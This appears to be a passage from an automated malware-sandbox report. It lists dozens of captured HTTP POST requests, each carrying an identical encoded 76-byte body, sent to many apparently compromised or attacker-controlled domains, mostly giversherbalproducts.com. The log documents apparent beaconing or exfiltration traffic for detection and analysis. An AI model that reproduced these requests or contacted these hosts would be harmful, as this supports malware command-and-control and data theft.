Source: global traffic	HTTP traffic detected: POST /lBawcxb5/Mz0afCg7BhkbLgUPQn12eWR6endleGV/ HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/OX4ZfwIJDCF0ORk4Oho3BwsENXZyL0J9dnlkenp3ZXhlfw== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/PQ0gIRZ+ISIiFRp8EykJAxAnfQl9MwAbAUJ7cn5henxzYn1leQ== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/Ex5+Li0pPAMVCkJ7cn5henxzYn1leQ== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/PA0fD304fCotO0J7cn5henxzYn1leQ== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/Mg8cPX4lcjsFBHgzcxwqKR4gDR0dEBl8C0J7cn5henxzYn1leQ== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/EgIsGisbLy8FIAp9DwgHByIYeEZ6c3lifn1yZX5heA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/Ixo9RX5yeGV9eXNkeWJ8 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/Hww+RX5yeGV9eXNkeWJ8 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/JxgCCAEsAyobRnpzeWJ+fXJlfmF4 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/CQgALXohIxEcIQgPDzYHBB4BLwU8L0J9dnlkenp3ZXhlfw== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/IzsuOSpCe3J+YXp8c2J9ZXk= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/eyIsfA4FBhEBOkJ7cn5henxzYn1leQ== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/DQwoRX5yeGV9eXNkeWJ8 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/fCguKH8AQ3p1fWV7fXRheWR4 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/CiJ+RX5yeGV9eXNkeWJ8 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/KXMbDiQ8MA0pLgAbKQUtGAgZIH5Ce3J+YXp8c2J9ZXk= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /DlOBqKAf/OSwKHCEePnoqInogJCEWOgYGIEZ6c3lifn1yZX5heA== HTTP/1.1Host: opulent-imports.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/KA8zdCQ4AjsIJw0hGBx8JjkCehcRBw47CEJ7cn5henxzYn1leQ== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /9SqebpSMu/Oi16fH4YfQMcJQZyJBgfGTh7RX5yeGV9eXNkeWJ8 HTTP/1.1Host: nitro2point0.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /7fTwg0V7/fQwKNjgxCw4CCwwAHSF2IAwyKAAdHDpFfnJ4ZX15c2R5Ynw= HTTP/1.1Host: streamline-trade.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/OBp4HyU8LTIIRnpzeWJ+fXJlfmF4 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /hWo6FObvrdp/Ox8RenwpBwp4PSgjBzsdDywkPz8+Og4nAwEbQn12eWR6endleGV/ HTTP/1.1Host: sologicgroup.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/LBNyGCwTey8VfBkDKDg5HhN6ehcYBUJ9dnlkenp3ZXhlfw== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /gnYxifRY/fjgFdD9+BXw8eR4HJ0V+cnhlfXlzZHlifA== HTTP/1.1Host: pedroaros.clContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /QFm9qbfjT/Mz0afCg7BhkbLgUPQn12eWR6endleGV/ HTTP/1.1Host: apimar.euContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/IhA6GCByHDMgHA9DenV9ZXt9dGF5ZHg= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /IfpAV6qS/PQ0gIRZ+ISIiFRp8EykJAxAnfQl9MwAbAUJ7cn5henxzYn1leQ== HTTP/1.1Host: baetrading.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /oHbAKuM0/PA0fD304fCotO0J7cn5henxzYn1leQ== HTTP/1.1Host: ditrpshop.inContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /s6ImD3DAJs/EgIsGisbLy8FIAp9DwgHByIYeEZ6c3lifn1yZX5heA== HTTP/1.1Host: surveillantfire.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /VIVB6kFar/Hww+RX5yeGV9eXNkeWJ8 HTTP/1.1Host: dhananialegalaid.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /n1n3Sh4NSO08/CQgALXohIxEcIQgPDzYHBB4BLwU8L0J9dnlkenp3ZXhlfw== HTTP/1.1Host: aulaintelimundo.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /IvyhnWs8j/eyIsfA4FBhEBOkJ7cn5henxzYn1leQ== HTTP/1.1Host: muwatin.netContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /a9TmwEDR/fCguKH8AQ3p1fWV7fXRheWR4 HTTP/1.1Host: nkp.hrContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /Y3kzp0WtE0/KXMbDiQ8MA0pLgAbKQUtGAgZIH5Ce3J+YXp8c2J9ZXk= HTTP/1.1Host: kvrassociates.netContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /4ByNgaVdId6/KA8zdCQ4AjsIJw0hGBx8JjkCehcRBw47CEJ7cn5henxzYn1leQ== HTTP/1.1Host: marianaleyton.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /eJDLM6siEv/OBp4HyU8LTIIRnpzeWJ+fXJlfmF4 HTTP/1.1Host: profitshub.inContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/LBNyGCwTey8VfBkDKDg5HhN6ehcYBUJ9dnlkenp3ZXhlfw== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/IhA6GCByHDMgHA9DenV9ZXt9dGF5ZHg= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/DgwbKxs4fXItRnpzeWJ+fXJlfmF4 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/DgwbKxs4fXItRnpzeWJ+fXJlfmF4 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
